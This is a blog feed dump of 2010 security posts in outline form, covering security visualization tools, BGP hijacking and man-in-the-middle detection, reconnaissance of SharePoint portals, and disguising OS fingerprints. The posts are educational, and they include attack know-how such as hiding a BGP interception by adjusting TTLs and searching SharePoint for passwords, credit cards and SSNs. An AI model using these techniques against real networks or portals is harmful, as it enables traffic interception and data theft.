/&gt;&lt;b&gt;Visualization Effectiveness&lt;/b&gt;&lt;br /&gt;-Each data type has its most effective way of visualization&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_WWO0NoYEIHQ/TFcGt5qRcFI/AAAAAAAAAOs/PHM5BJeuFd0/s1600/12-Aug-01-10-pic2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_WWO0NoYEIHQ/TFcGt5qRcFI/AAAAAAAAAOs/PHM5BJeuFd0/s320/12-Aug-01-10-pic2.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;Information Visualization Process&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_WWO0NoYEIHQ/TFcG-mVkO7I/AAAAAAAAAO0/LigMfUZiSRc/s1600/12-Aug-01-10-pic3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_WWO0NoYEIHQ/TFcG-mVkO7I/AAAAAAAAAO0/LigMfUZiSRc/s320/12-Aug-01-10-pic3.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;DAVIX Linux Distribution&lt;/b&gt; (&lt;a href="http://davix.secviz.org/"&gt;http://davix.secviz.org/&lt;/a&gt;)&lt;br /&gt;-Provide the audience with a workable and integrated tools set&lt;br /&gt;-Enable them to immediately start with security visualization&lt;br /&gt;-Motivate them to contribute to the security visualization community&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Tools Available&lt;/b&gt;&lt;br /&gt;&lt;i&gt;Capture&lt;/i&gt;&lt;br /&gt;-Network Tools (Argus, Snort, Wireshark)&lt;br /&gt;-Logging (syslog-ng)&lt;br /&gt;-Fetching Data (wget, ftp, scp)&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Processing&lt;/i&gt;&lt;br /&gt;-Shell Tools (awk, grep, sed)&lt;br /&gt;-Visualization Preprocessing (AfterGlow, LGL)&lt;br /&gt;-Extraction (Chaosreader)&lt;br /&gt;-Data Enrichment (geoiplookup, whois, gwhois)&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Visualization&lt;/i&gt;&lt;br /&gt;-Network Traffic (EtherApe, InetVis, tnv)&lt;br /&gt;-Generic (AfterGlow, Cytoscape, Graphviz, LGL Viewer, Mondrian, R Project, Treemap)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Interface Transport&lt;/b&gt;&lt;br /&gt;-Each visualization tool has its own file format interfaces&lt;br /&gt;-Data must be converted to match the import interfaces&lt;br /&gt;-These adapters are mostly self-written snippets of code&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Important Note:&lt;/b&gt;&lt;br /&gt;All the images presented in this post are intellectual property of the copyright owner (www.secviz.org)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-7857598951446052324?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/7857598951446052324'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/7857598951446052324'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2010/08/using-davix-for-security-visualization_02.html' title='Using DAVIX For Security Visualization (revised)'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_WWO0NoYEIHQ/TFcGag87e-I/AAAAAAAAAOk/rxPFCbiQNYI/s72-c/12-Aug-01-10-pic1.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-4516813338675309158</id><published>2010-06-22T16:49:00.000-04:30</published><updated>2010-06-22T16:49:46.869-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='bgp protocol vulnerabilities'/><category scheme='http://www.blogger.com/atom/ns#' term='youtube bgp hack'/><category scheme='http://www.blogger.com/atom/ns#' term='prevent bgp attack'/><category scheme='http://www.blogger.com/atom/ns#' term='pakistan telecom youtube'/><category scheme='http://www.blogger.com/atom/ns#' term='bgp routing hack'/><category scheme='http://www.blogger.com/atom/ns#' term='hijack youtube traffic'/><category scheme='http://www.blogger.com/atom/ns#' term='bgp mitm'/><category scheme='http://www.blogger.com/atom/ns#' term='bgp attacks'/><title type='text'>Defending BGP MITM (Man-In-The-Middle) Attacks</title><content type='html'>Every organization owes its Internet connectivity to one protocol: BGP4. There are no alternatives. BGP4 has longstanding vulnerabilities that cannot be fixed, and can only be monitored carefully.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Two key points:&lt;/b&gt;&lt;br /&gt;1. Everyone who connects to the Internet is currently exposed to various routing risks: downtime, hijacking and now even wholesale traffic interception.&lt;br /&gt;2. Very few people understand these risks, so they are not being measured or managed appropriately.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Basics of routing and the inherent threats:&lt;/b&gt;&lt;br /&gt;-Prefixes&lt;br /&gt;-ASNs&lt;br /&gt;-Routing updates&lt;br /&gt;-Route attributes&lt;br /&gt;-Vulnerabilities &amp;amp; typical historical attacks&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Internet Routing – Prefixes&lt;/b&gt;&lt;br /&gt;-Internet routing is orchestrated via blocks of IP addresses.&lt;br /&gt;-A network prefix is a block of contiguous IP addresses.&lt;br /&gt;-IP addresses in the same prefix are routed in the same way.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Internet Routing – ASNs&lt;/b&gt;&lt;br /&gt;Global Internet routing relies on the Border Gateway Protocol. Each organization participating in BGP is assigned:&lt;br /&gt;-A unique Autonomous System Number or ASN (integer)&lt;br /&gt;-One or more prefixes (range of IP addresses)&lt;br /&gt;-All routing decisions are local&lt;br /&gt;&lt;br /&gt;&lt;b&gt;BGP Update Messages&lt;/b&gt;&lt;br /&gt;-An UPDATE message announces a new route or withdraws a previously announced route.  UPDATE = prefix + route attributes&lt;br /&gt;-Adjacent routers chatter constantly with each other as routes come and go. Globally, Renesys observes 45,000+ updates per minute when things are quiet!&lt;br /&gt;&lt;br /&gt;&lt;b&gt;BGP Attributes&lt;/b&gt;&lt;br /&gt;Routing announcements have attributes and many possibilities but the (hopefully valid) "AS" path to the announced prefix is always present.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Routing Vulnerabilities&lt;/b&gt;&lt;br /&gt;1. No single authoritative source of who should be doing what.&lt;br /&gt;-If there were, you could filter out the errors / hijacks.&lt;br /&gt;-As a result, filtering by ISPs is not common or easy.&lt;br /&gt;&lt;br /&gt;2. All of Internet routing is based on trust.&lt;br /&gt;-Anyone can announce any IP space they want.&lt;br /&gt;-Anyone can prepend any ASN to any path that they want.&lt;br /&gt;&lt;br /&gt;3. No mechanism in place to handle ASNs who go rogue. There are no Internet police!&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Two typical types of hijacks:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;No operational impact&lt;/i&gt;&lt;br /&gt;-Hijack unused (but maybe assigned) IP space&lt;br /&gt;-Potentially harms the reputation of the owner&lt;br /&gt;-But does not disrupt any legitimate traffic on the Internet&lt;br /&gt;-DoD owns but does not announce 7.0.0.0/8, 11.0.0.0/8, 30.0.0.0/8 and others. These networks &lt;br /&gt;are “free for the taking” without any impact on DoD. Every announcement in this space is a hijack.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_WWO0NoYEIHQ/TCEnJeQARlI/AAAAAAAAAN0/GeYOWAbc_Gk/s1600/11-Jun-23-10-pic1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_WWO0NoYEIHQ/TCEnJeQARlI/AAAAAAAAAN0/GeYOWAbc_Gk/s320/11-Jun-23-10-pic1.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;i&gt;Obvious operational impact&lt;/i&gt;&lt;br /&gt;-Hijack currently used IP space&lt;br /&gt;-Legitimate traffic diverted to the hijacker&lt;br /&gt;-Victim can be effectively taken off the Internet&lt;br /&gt;-Very disruptive and very obvious&lt;br /&gt;-YouTube owns 208.65.152.0/22 (Feb 2008)&lt;br /&gt;This contains the more-specific 208.65.153.0/24&lt;br /&gt;The above /24 used to contain all of YouTube’s&lt;br /&gt;DNS Servers (have since moved)&lt;br /&gt;Web Servers (have since added additional IP space)&lt;br /&gt;YouTube announced only the /22&lt;br /&gt;-Pakistan Telecom announces the /24&lt;br /&gt;In BGP, most specific route to an IP address wins!&lt;br /&gt;Pakistan Telecom gets all traffic intended for YouTube&lt;br /&gt;YouTube is globally unreachable for 2 hours&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_WWO0NoYEIHQ/TCEnURIC7HI/AAAAAAAAAN8/bHlnXbmTwJk/s1600/11-Jun-23-10-pic2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_WWO0NoYEIHQ/TCEnURIC7HI/AAAAAAAAAN8/bHlnXbmTwJk/s320/11-Jun-23-10-pic2.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Both types of hijack allow an attacker to attract all traffic bound for the hijacked space.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Final Evaluation&lt;/b&gt;&lt;br /&gt;-Hijacking has been going on for over 10 years!&lt;br /&gt;-No incremental or comprehensive solutions&lt;br /&gt;-Solutions lack economic drivers&lt;br /&gt;-Doesn’t happen daily and universally&lt;br /&gt;-Avoiding negative publicity is not necessarily compelling&lt;br /&gt;-Impact poorly understood by management&lt;br /&gt;-Miscreants are actively hijacking now&lt;br /&gt;-To send spam from “clean” IP blocks&lt;br /&gt;-To cover their other nefarious activities&lt;br /&gt;-What good are your firewall/IDS logs now?&lt;br /&gt;-Need historical global routing data to identify hijackers&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Man-In-The-Middle Attack&lt;/b&gt;&lt;br /&gt;-Review the MITM exploit presented at DEFCON 16 (August 10, 2008)&lt;br /&gt;-AS path attribute&lt;br /&gt;-AS loop prevention&lt;br /&gt;-MITM attack technique&lt;br /&gt;-Obscuring the MITM attack with TTL adjustment&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_WWO0NoYEIHQ/TCEnqjlqQBI/AAAAAAAAAOE/Wm52ghxVzmM/s1600/11-Jun-23-10-pic3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_WWO0NoYEIHQ/TCEnqjlqQBI/AAAAAAAAAOE/Wm52ghxVzmM/s320/11-Jun-23-10-pic3.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;How can the victim observe this?&lt;/b&gt;&lt;br /&gt;-Victim’s routes and those of at least one provider will look normal&lt;br /&gt;-Traceroute from a public looking glass to the victim’s IPs will show the hijacker &lt;br /&gt;(assuming the looking glass hasn’t been blinded to the attack).&lt;br /&gt;-Traceroute depends on incrementally increasing TTLs&lt;br /&gt;-Hijacker can hide his presence by silently increasing TTLs for packets intended for the victim&lt;br /&gt;-Hides hijacker’s routers&lt;br /&gt;-Hides hijacker’s outbound routes to victim&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Detecting the Attack&lt;/b&gt;&lt;br /&gt;-Is this generally visible?&lt;br /&gt;-Attacker profile&lt;br /&gt;-Difficulties with detection&lt;br /&gt;-You know the correct routing policies (easy)&lt;br /&gt;-Generally limited to networks under your control&lt;br /&gt;-Review of available alarm services&lt;br /&gt;-Can you attack the alarm services?&lt;br /&gt;-You don’t know the routing policies (hard)&lt;br /&gt;-A proposed global detection technique&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Difficulties in observing the MITM attack&lt;/b&gt;&lt;br /&gt;-Most Internet routers will see and prefer the hijacked routes. Won’t be obvious among their&lt;br /&gt;270,000+ routes.&lt;br /&gt;-Traceroutes won’t show the hijacking (with TTL adjustments). Independent of source location.&lt;br /&gt;-Latency to the victim will increase. Could be slight if the hijacker isn’t far from the victim.&lt;br /&gt;-Route alarming services might see this if AS loop detection is disabled.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Two simple questions:&lt;/b&gt;&lt;br /&gt;Can I detect MITM for my network?&lt;br /&gt;-Easy: Routing policy is presumably known or at least knowable.&lt;br /&gt;&lt;br /&gt;Can I detect MITM for the Internet at large?&lt;br /&gt;-Much harder: Routing policies are not known and probably unknowable for all 270,000+ prefixes&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-4516813338675309158?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/4516813338675309158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/4516813338675309158'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2010/06/defending-bgp-mitm-man-in-middle.html' title='Defending BGP MITM (Man-In-The-Middle) Attacks'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_WWO0NoYEIHQ/TCEnJeQARlI/AAAAAAAAAN0/GeYOWAbc_Gk/s72-c/11-Jun-23-10-pic1.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-507651743905766369</id><published>2010-05-31T17:55:00.000-04:30</published><updated>2010-05-31T17:55:26.726-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='hack moss'/><category scheme='http://www.blogger.com/atom/ns#' term='SharePoint Google'/><category scheme='http://www.blogger.com/atom/ns#' term='SharePoint Regex'/><category scheme='http://www.blogger.com/atom/ns#' term='SharePoint ISAPI Registry'/><category scheme='http://www.blogger.com/atom/ns#' term='hack wss'/><category scheme='http://www.blogger.com/atom/ns#' term='SharePoint Nmap'/><category scheme='http://www.blogger.com/atom/ns#' term='hack sharepoint'/><title type='text'>Breaking Into SharePoint Portal</title><content type='html'>&lt;b&gt;Windows SharePoint Services (WSS)&lt;/b&gt;&lt;br /&gt;- Base technology&lt;br /&gt;- Free (with Windows Server)&lt;br /&gt;- Consists of an ASP.NET web site and ISAPI filter&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Microsoft Office SharePoint Server (MOSS)&lt;/b&gt;&lt;br /&gt;- Built on top of WSS&lt;br /&gt;- Not free&lt;br /&gt;- Supports collaboration on MS Office documents&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Security Aware?&lt;/b&gt;&lt;br /&gt;- Gartner predicts SharePoint will replace network file shares&lt;br /&gt;- Default security model: all site users have read access to all documents&lt;br /&gt;- Big target – single repository for sensitive corporate data – salaries, phone numbers, customer lists,&amp;nbsp; passwords, strategic plans, etc.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Hacking the SharePoint ISAPI Registry&lt;/b&gt;&lt;br /&gt;A potential EoP, but not interesting:&lt;br /&gt;- Requires Terminal Services to be enabled with “NT4 compat mode”&lt;br /&gt;- In that scenario, several Windows components have the same bug&lt;br /&gt;- See “Web Server Extensions”, referenced in HKLM&lt;br /&gt;- Check out usage of “Terminal Server User” SID throughout Windows&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Hacking SharePoint with Google&lt;/b&gt;&lt;br /&gt;- Thousands of public, internet-facing SharePoint sites have been created&lt;br /&gt;- Use Google to identify configuration mistakes&lt;br /&gt;- More info: http://tinyurl.com/4dccn9&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Hacking SharePoint with NMap&lt;/b&gt;&lt;br /&gt;- SharePoint servers have a distinctive network port signature&lt;br /&gt;- Depends on firewall config, of course&lt;br /&gt;- More info: http://tinyurl.com/3oykwp&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Hacking SharePoint with RegEx&lt;/b&gt;&lt;br /&gt;SharePoint RegEx Search&lt;br /&gt;- http://www.codeplex.com/MossRegExSearch&lt;br /&gt;- See blog post – http://tinyurl.com/4s49p3&lt;br /&gt;- Avoid limitations of built-in SharePoint search (i.e., SQL ‘LIKE’ and ‘CONTAINS’ keywords)&lt;br /&gt;- Instead, harness the power of regular expressions!&lt;br /&gt;- Search for: strong passwords, credit card info, phone numbers, SSNs, etc.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-507651743905766369?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/507651743905766369'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/507651743905766369'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2010/05/breaking-into-sharepoint-portal.html' title='Breaking Into SharePoint Portal'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-8500859014204016806</id><published>2010-04-30T02:27:00.004-04:30</published><updated>2010-04-30T02:33:17.232-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='nmap'/><category scheme='http://www.blogger.com/atom/ns#' term='IpMorph'/><category scheme='http://www.blogger.com/atom/ns#' term='p0f'/><category scheme='http://www.blogger.com/atom/ns#' term='SinFP'/><category scheme='http://www.blogger.com/atom/ns#' term='timeouts'/><category scheme='http://www.blogger.com/atom/ns#' term='Ring2'/><category scheme='http://www.blogger.com/atom/ns#' term='defeat os detection'/><category scheme='http://www.blogger.com/atom/ns#' term='ISN profile'/><category scheme='http://www.blogger.com/atom/ns#' term='ICMP replies'/><category scheme='http://www.blogger.com/atom/ns#' term='TCP headers'/><category scheme='http://www.blogger.com/atom/ns#' term='Ettercap'/><category scheme='http://www.blogger.com/atom/ns#' term='defeat os fingerprinting'/><category scheme='http://www.blogger.com/atom/ns#' term='Xprobe2'/><title type='text'>Defeating OS Fingerprinting Using IpMorph</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;IpMorph is an Open Source project used to disguise OS-detection process performed using various techniques, such as, banner grabbing, ICMP replies, ISN profile, TCP headers, timeouts and other similar trends. These techniques are usually available in number of tools like Nmap, Xprobe2, SinFP, Ring2, p0f, Ettercap, etc.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_WWO0NoYEIHQ/S9p8lbQXAAI/AAAAAAAAANM/fbeo7ofsgpc/s1600/09-Apr-30-10-pic1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_WWO0NoYEIHQ/S9p8lbQXAAI/AAAAAAAAANM/fbeo7ofsgpc/s320/09-Apr-30-10-pic1.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Active Stack Fingerprinting&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_WWO0NoYEIHQ/S9p8_p36ekI/AAAAAAAAANU/t2-J-YYXo8o/s1600/09-Apr-30-10-pic2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_WWO0NoYEIHQ/S9p8_p36ekI/AAAAAAAAANU/t2-J-YYXo8o/s320/09-Apr-30-10-pic2.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;b&gt;Passive Stack Fingerprinting&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_WWO0NoYEIHQ/S9p9RVJX1PI/AAAAAAAAANc/Jp1kGW9KJRw/s1600/09-Apr-30-10-pic3.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_WWO0NoYEIHQ/S9p9RVJX1PI/AAAAAAAAANc/Jp1kGW9KJRw/s320/09-Apr-30-10-pic3.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;b&gt;How IpMorph Works&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_WWO0NoYEIHQ/S9p9fooeiFI/AAAAAAAAANk/PNRv58mdxUM/s1600/09-Apr-30-10-pic4.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_WWO0NoYEIHQ/S9p9fooeiFI/AAAAAAAAANk/PNRv58mdxUM/s320/09-Apr-30-10-pic4.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;b&gt;Spoofing States&lt;/b&gt;&lt;/div&gt;&lt;i&gt;Filtering&lt;/i&gt;&lt;br /&gt;– Stealth patch : Unmaintained as of 2002, GNU/Linux kernel 2.2-2.4&lt;br /&gt;– Blackhole : FreeBSD, kernel options&lt;br /&gt;– IPlog : Unmaintained as of 2001, *BSD&lt;br /&gt;– Packet filter : OpenBSD&lt;br /&gt;&lt;i&gt;Host TCP/IP stack tweaking&lt;/i&gt;&lt;br /&gt;– Ip Personality&lt;br /&gt;– Fingerprint opt&lt;br /&gt;– Fingerprint scrubber&lt;br /&gt;– OSfuscate&lt;br /&gt;&lt;i&gt;Host TCP/IP stack replacement (proxy behaviour)&lt;/i&gt;&lt;br /&gt;– Honeyd&lt;br /&gt;– Packet purgatory / Morph&lt;br /&gt;&lt;i&gt;Integrated Tools&lt;/i&gt;&lt;br /&gt;–IpMorph (Core)&lt;br /&gt;–IpMorph Controller&lt;br /&gt;–IpMorph Personality Manager&lt;br /&gt;–IpView (IpMorph GUI)&lt;br /&gt;&lt;i&gt;Portability&lt;/i&gt;&lt;br /&gt;–GNU/Linux&lt;br /&gt;–BSD, Mac OS&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;IpMorph General Architecture&lt;/b&gt;&lt;br /&gt;&lt;span id="goog_735309997"&gt;&lt;/span&gt;&lt;span id="goog_735309998"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_WWO0NoYEIHQ/S9p-EwJ5WyI/AAAAAAAAANs/vWqFbsRjWWE/s1600/09-Apr-30-10-pic5.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_WWO0NoYEIHQ/S9p-EwJ5WyI/AAAAAAAAANs/vWqFbsRjWWE/s320/09-Apr-30-10-pic5.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-8500859014204016806?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/8500859014204016806'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/8500859014204016806'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2010/04/defeating-os-fingerprinting-using.html' title='Defeating OS Fingerprinting Using IpMorph'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_WWO0NoYEIHQ/S9p8lbQXAAI/AAAAAAAAANM/fbeo7ofsgpc/s72-c/09-Apr-30-10-pic1.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-3209716150144730102</id><published>2010-04-18T17:32:00.000-04:30</published><updated>2010-04-18T17:32:39.798-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='downloaders'/><category scheme='http://www.blogger.com/atom/ns#' term='malware detection vs decision'/><category scheme='http://www.blogger.com/atom/ns#' term='malware threats'/><category scheme='http://www.blogger.com/atom/ns#' term='malware legal issues'/><category scheme='http://www.blogger.com/atom/ns#' term='trojan'/><category scheme='http://www.blogger.com/atom/ns#' term='spyware'/><category scheme='http://www.blogger.com/atom/ns#' term='malware affiliate'/><category scheme='http://www.blogger.com/atom/ns#' term='rogue av'/><category scheme='http://www.blogger.com/atom/ns#' term='Botnets'/><category scheme='http://www.blogger.com/atom/ns#' term='adware'/><category scheme='http://www.blogger.com/atom/ns#' term='malware distribution channel'/><title type='text'>Insights of the CyberCrime World</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;b&gt;Malware Trends&lt;/b&gt;&lt;br /&gt;-High complexity of technology introduces higher number of fault (Hardware, Software)&lt;br /&gt;-Proof of Concept, Exploit Codes, Vulnerabilities (Finding exploits in order to misuse them, making money!)&lt;br /&gt;-Today's Malware (Organized in botnets, uses 